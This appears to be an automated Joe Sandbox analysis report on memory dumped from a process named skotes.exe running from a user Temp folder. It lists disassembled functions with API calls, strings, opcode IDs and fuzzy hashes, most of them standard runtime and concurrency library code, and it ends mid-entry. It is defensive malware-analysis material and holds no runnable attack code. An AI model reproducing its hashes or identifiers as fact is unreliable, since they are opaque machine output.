Instruction Fuzzy Hash: 49416239A40619EFCF09EF68C894A6DB7B6FF49310F04815AE81697790CB74AE01CF81

Function 0219A28D Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0219A2D0

Part of subcall function 0219B7C7: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0219B816

GetCurrentThread.KERNEL32 ref: 0219A2DA
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0219A2E6

Part of subcall function 021905EF: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 02190601

Part of subcall function 02190A7B: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 02190A82

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0219A329

Part of subcall function 0219B779: SetEvent.KERNEL32(?,?,0219A32E,0219B0C2,00000000,?,00000000,0219B0C2,00000004,0219B76E,?,00000000,?,?,00000000), ref: 0219B7BD

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0219A332

Part of subcall function 0219ADA8: __EH_prolog3.LIBCMT ref: 0219ADAF
Part of subcall function 0219ADA8: List.LIBCONCRT ref: 0219ADDE

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0219A342

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedH_prolog3ListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 2908504212-0
Opcode ID: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction ID: c32d5f2f472a4de5708b72d0894753d5a0458148f7f4d346bf7707cb4d0ce7fe
Opcode Fuzzy Hash: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction Fuzzy Hash: CE218C31500B15AFCB24EF65D9909ABB3FAFF487007004A5ED84297660DB74FA05CB95

Function 021A519E Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,021A5195,021A3D59,0218B7BC,00462014,?,00000000,0044B3E8,000000FF,?,02172691,?,?), ref: 021A51AC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 021A51BA
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 021A51D3
SetLastError.KERNEL32(00000000,?,021A5195,021A3D59,0218B7BC,00462014,?,00000000,0044B3E8,000000FF,?,02172691,?,?), ref: 021A5225

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction ID: 5d1e020a4963659f3ddecab2bce5ddbfc86f00c7c723df49d489fdb220f6b25c
Opcode Fuzzy Hash: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction Fuzzy Hash: 2801283E98C721BDA71527757CA4A2B268BEB00774724023AF628450E1FF914805C544

Function 0218FE82 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0218FE90
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0218FE96
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0218FEC3
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0218FECD
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0218FEDF
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0218FEF5

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction ID: 00f86a82635bac83e20d5e36892c47a4f61198a76e1445a49eb9ad7468d552cc
Opcode Fuzzy Hash: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction Fuzzy Hash: C201F73B580205ABD710BB79EC88BAF3768EF41712BB10825F419E2892DB28D5058F64

Function 021B2959 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021B29C3
_free.LIBCMT ref: 021B29B1

Part of subcall function 021AB05C: HeapFree.KERNEL32(00000000,00000000,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?), ref: 021AB072
Part of subcall function 021AB05C: GetLastError.KERNEL32(?,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?,?), ref: 021AB084

_free.LIBCMT ref: 021B2B7D

Strings

XgE, xrefs: 021B2AE0
XgE, xrefs: 021B296C, 021B2972

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: XgE$XgE
API String ID: 2155170405-1765908331
Opcode ID: c6433087ed30f2a2da2807838542e42bb6de4ad70922db091af99d7f7348fe1d
Instruction ID: 221001ad200cc9b09eace085b5243ec3fec5b462f2f7d2996802ced65805a3dc
Opcode Fuzzy Hash: c6433087ed30f2a2da2807838542e42bb6de4ad70922db091af99d7f7348fe1d
Instruction Fuzzy Hash: 26512871940215AFDB22EF74CC809EE77BDEF45354B15026AD820E72A0FB709A49CF55

Function 021AE24A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 021AE24F

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2895844383
Opcode ID: 83d649548dc4756340e3f4fa4cdfd0894265a7358bbde176a04f29cefd39949e
Instruction ID: 0e116c3f1b7c6279b3e6f376e4ba1e8abe375c85596ea007def02d1bbdc69c1a
Opcode Fuzzy Hash: 83d649548dc4756340e3f4fa4cdfd0894265a7358bbde176a04f29cefd39949e
Instruction Fuzzy Hash: 89219279684209AFDB20AF719CA4E7BBB9EEF003747004535F93996190EB31ED51CBA0

Function 02199EFC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 02199F03
std::bad_exception::bad_exception.LIBCMT ref: 02199F65
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 02199FA7
std::bad_exception::bad_exception.LIBCMT ref: 02199FD1

Strings

8[F, xrefs: 02199F62, 02199F6F

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_ResolveSchedulerValues
String ID: 8[F
API String ID: 3836581985-331943168
Opcode ID: a4d644558bc095dc33be146fbd05eccc5a98fec7c23d9a48cae62212641850da
Instruction ID: 0ea26dbaff41a124001f7fa28e1fb0ec8dc2ec4cfbebe76f34855359e71304e7
Opcode Fuzzy Hash: a4d644558bc095dc33be146fbd05eccc5a98fec7c23d9a48cae62212641850da
Instruction Fuzzy Hash: F121DE35980208DFDF05EFA4D885A9DBBB6EF09310B25402EF415AB290EB30AE06CF55

Function 021AA8D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,021A6BB1,?,?,?,?,021A78C8,?), ref: 021AA8DD
_free.LIBCMT ref: 021AA93A
_free.LIBCMT ref: 021AA970
SetLastError.KERNEL32(00000000,00462170,000000FF,?,?,021A6BB1,?,?,?,?,021A78C8,?), ref: 021AA97B

Strings

x!F, xrefs: 021AA963

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction ID: bd484ce7ec91a558afbd8283e30d42b5ed5c0839e685c2289ac27f4bf489b9a2
Opcode Fuzzy Hash: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction Fuzzy Hash: 5A11CD3E2C86407ED6112A755CB4E7A157ABFC1779B270235F225921E0EBA28C05C565

Function 021AAA2F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,021A7862,021724AE), ref: 021AAA34
_free.LIBCMT ref: 021AAA91
_free.LIBCMT ref: 021AAAC7
SetLastError.KERNEL32(00000000,00462170,000000FF,?,021A7862,021724AE), ref: 021AAAD2

Strings

x!F, xrefs: 021AAABA

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction ID: 00541a599f10267d0e695f937ce0462e089f2c98dab74ab749e50699e15f249c
Opcode Fuzzy Hash: 56f9d83506fe0b5766636a44d0cab5e527ac01f444b2ac40f8d129dc50e40d0b
Instruction Fuzzy Hash: 6311E93D2C87017EDA1166795EA0E7A23BAAFC1778F150235F22A921E0EBA28D05C555

Function 021A22FE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 021A231E
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021A232F
StructuredWorkStealingQueue.LIBCMT ref: 021A2365
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021A2376

Strings

e, xrefs: 021A2340

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 06193180b3d38229ec85517ce7267db5b59856b7b52870c6fe1d4fce0e4ff75d
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 401191391401059BDB19DF69C860AAF77A9AF1B314B14C169EC169F211DBB1DA05CFA0

Function 0217ABC7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0217ABCA
CreateMutexA.KERNEL32(00000000,00000000,00463254), ref: 0217ABE8
GetLastError.KERNEL32 ref: 0217ABF0
GetLastError.KERNEL32 ref: 0217AC01

Strings

T2F, xrefs: 0217ABD7

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateMutexSleep
String ID: T2F
API String ID: 3645482037-3862687658
Opcode ID: 187082659592547e38ccbb39052786932d1335d10d1d45dc72119e21490735fa
Instruction ID: b7075e09aa1905e7e74a1e9cfba2cc8943cbe4a19e25c76f985b40c2797dd914
Opcode Fuzzy Hash: 187082659592547e38ccbb39052786932d1335d10d1d45dc72119e21490735fa
Instruction Fuzzy Hash: EE01D131680344EBE7109FA8FC08B5E7779EB85B22F200A35E515C71D0DB78A948CB59

Function 0217DE47 Relevance: 7.7, APIs: 5, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d23cd4dd6e2fa0143c66012945725be57b8f486d799fb0b8f6dfb3b5511e53
Instruction ID: 0f576279acae1cd09fba469dd989de0f29620e8617cd74c7834f3ee9cbede585
Opcode Fuzzy Hash: d6d23cd4dd6e2fa0143c66012945725be57b8f486d799fb0b8f6dfb3b5511e53
Instruction Fuzzy Hash: D661A570D44718AFDB14EF64CD89B59B7B5EF44310F1042AAE90DA7290EB74EA80CF96

Function 021A721B Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,021A714D), ref: 021A723D
GetFileInformationByHandle.KERNEL32(?,?), ref: 021A7297
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,021A714D,?,000000FF,00000000,00000000), ref: 021A7325
__dosmaperr.LIBCMT ref: 021A732C
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 021A7369

Part of subcall function 021A7591: __dosmaperr.LIBCMT ref: 021A75C6

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction ID: 2c0ce0347a30a4ca305ef7ffd02c2863a0ce96714d5448918467050e3554863c
Opcode Fuzzy Hash: 19e1070b04fb49a2dd5738f37f72da11fb3a5a43ccc6689087d144dd6161f976
Instruction Fuzzy Hash: 97413A79980704AFDB24DFB5E8549AFFBF9EF88300B014529E956D3290E7309A42CB61

Function 0217BC57 Relevance: 7.6, APIs: 5, Instructions: 130comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0217BCBE
CoCreateInstance.COMBASE(00458F80,00000000,00000001,00458F90,?), ref: 0217BCDA
CoUninitialize.COMBASE ref: 0217BCE8
CoUninitialize.COMBASE ref: 0217BDA7
CoUninitialize.COMBASE ref: 0217BDBB

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID:
API String ID: 1968832861-0
Opcode ID: 3e1efb8a3acf5b83f8398f094812db7d9444b93ce0f50575ee480a284648f072
Instruction ID: 57a3d26872fd1542cb16ea782fca7fd3d9758892326bec47cc8d7b0b1979a4fe
Opcode Fuzzy Hash: 3e1efb8a3acf5b83f8398f094812db7d9444b93ce0f50575ee480a284648f072
Instruction Fuzzy Hash: 2D419031A44209EFDB08DF68CC89BAE77B5EF88719F108158F415E7291DB75EA40CB94

Function 0219DD97 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0219DDCB

Part of subcall function 02199196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021991B7

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0219DE2A
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0219DE50
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0219DE70
Concurrency::location::_Assign.LIBCMT ref: 0219DEBD

Part of subcall function 021A1599: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021A15DE

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID:
API String ID: 1879022333-0
Opcode ID: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction ID: bd4fb7c0d65b9da6d7a0f39f5c1159b955a090eee73f03d6064321e7dac9a932
Opcode Fuzzy Hash: 3f867edf2e3fea7535e6fe073452b703bba04c29d155da01a3a84350d07a286a
Instruction Fuzzy Hash: 6E41C374680310AFDF19FB24D895BBEBB7AAF45710F144099E8069B3C1DB34A945CB91

Function 0218EF4D Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0218EF54
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0218EF7E

Part of subcall function 0218F644: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0218F661

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0218EFFB
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0218F02D
__freea.LIBCMT ref: 0218F053

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__freea
String ID:
API String ID: 2497068736-0
Opcode ID: a6c94f2b07b76275c46f7f4adf28e57aec3c88f13b0cf4508af0eed2d0fdcfcc
Instruction ID: 5618c46eea911ec1807d8a8fce289b11c567e0bd93cbb7aa0f30872111996935
Opcode Fuzzy Hash: a6c94f2b07b76275c46f7f4adf28e57aec3c88f13b0cf4508af0eed2d0fdcfcc
Instruction Fuzzy Hash: E33190B1A402068FCB19EFA8C4C0AADB7F6EF09314F65406AE405EB380DB359D02CF95

Function 021975CB Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 02197617
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 02197659
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 02197675
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 02197680
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021976A7

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID:
API String ID: 3897347962-0
Opcode ID: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction ID: 71417378564e37b87d84e1624967a5e749bb53db0181f3ba9a5e008a1b7b054f
Opcode Fuzzy Hash: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction Fuzzy Hash: 682162B4A40308AFDF04EF69C594AADBBB5BF09355F1040A9E901A73A1DB30AE05CF94

Function 021AF2A1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 021AF2B9

Part of subcall function 021AB05C: HeapFree.KERNEL32(00000000,00000000,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?), ref: 021AB072
Part of subcall function 021AB05C: GetLastError.KERNEL32(?,?,021AF334,?,00000000,?,?,?,021AF35B,?,00000007,?,?,021AF75D,?,?), ref: 021AB084

_free.LIBCMT ref: 021AF2CB
_free.LIBCMT ref: 021AF2DD
_free.LIBCMT ref: 021AF2EF
_free.LIBCMT ref: 021AF301

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction ID: 6dcc52e553b7f22d29b0d029ed81dc8396c210cd63da864e617d1dacdc5a4a7d
Opcode Fuzzy Hash: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction Fuzzy Hash: 03F0623A548640BB8630EB64E7B2C1B77EAFA107197654816F01CD7D50DB71F980CA54

Function 021ADC85 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021ADE1F

Strings

*?, xrefs: 021ADCC8

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction ID: 9bcaa8ed0bf23d95bc4488344c597c5357d57355789ebb371c56c57e04d1ff9a
Opcode Fuzzy Hash: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction Fuzzy Hash: A8613CB9E40619AFCF14CFA8D8905EDFBF5EF48310B2581AAD815E7740D731AE418B90

Function 021A9280 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

P6m, xrefs: 021A92D1
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 021A92C3, 021A9300

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe$P6m
API String ID: 0-2251797794
Opcode ID: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction ID: 9877fc5d2851cbf22843715a15baf095f639ee753e91c7c92cd4675d6904d295
Opcode Fuzzy Hash: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction Fuzzy Hash: AF418475E80214AFCB25DFA9DC909AFBBF9EF85310F144076E504D7290E7B18A80CB55

Function 021A4AA7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 021A4AE6
__IsNonwritableInCurrentImage.LIBCMT ref: 021A4B9A

Strings

csm, xrefs: 021A4B84
S9C, xrefs: 021A4B8C, 021A4B95, 021A4BA6

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: S9C$csm
API String ID: 3480331319-582408667
Opcode ID: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction ID: 849fef57396c4350b29935c1ceccf347658319b512848d2613d3bfe154684f3b
Opcode Fuzzy Hash: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction Fuzzy Hash: B941C73CA41204AFCF20DF68C894BADBBB5AF45318F148155ED155B391D7B1EA05CF91

Function 021A58C2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 021A58E7
CatchIt.LIBVCRUNTIME ref: 021A59CD

Strings

RCC, xrefs: 021A5901
MOC, xrefs: 021A58F9

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction ID: 5bfb22534e81a9891449236d4a6edb956071d3b7bf6137750da205b69c77446c
Opcode Fuzzy Hash: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction Fuzzy Hash: 8641767AD40209BFCF16DFA8CC90AAEBBB6BF08314F548099F914AB221D3359950DF51

Function 021B2AB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021B2B27
_free.LIBCMT ref: 021B2B7D

Part of subcall function 021B2959: _free.LIBCMT ref: 021B29B1
Part of subcall function 021B2959: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021B29C3

Strings

XgE, xrefs: 021B2AE0

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: XgE
API String ID: 597776487-2984570469
Opcode ID: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction ID: b0bcfcb615c6bbd6a29e6047dbbf4f2bb5f3fdbad061140900d846fb4c1efb25
Opcode Fuzzy Hash: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction Fuzzy Hash: 212138328402246BDB36AB348E44EEE77799F95364F110395DDA4A30A0EF704A89CE91

Function 02190EC3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 02190F31
Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 02190F3E
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 02190F91

Strings

p[F, xrefs: 02190F36

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_H_prolog3Lock::_ManagerManager::Reentrant
String ID: p[F
API String ID: 220083066-1832964472
Opcode ID: 6216d83329a3209df67438af02903c6e9b09d36f54debea953983a2b7a8ea068
Instruction ID: 453c76c86dba5da1cdb49f4a0973b435b5358144bda47e18f96c50a6bd511b1c
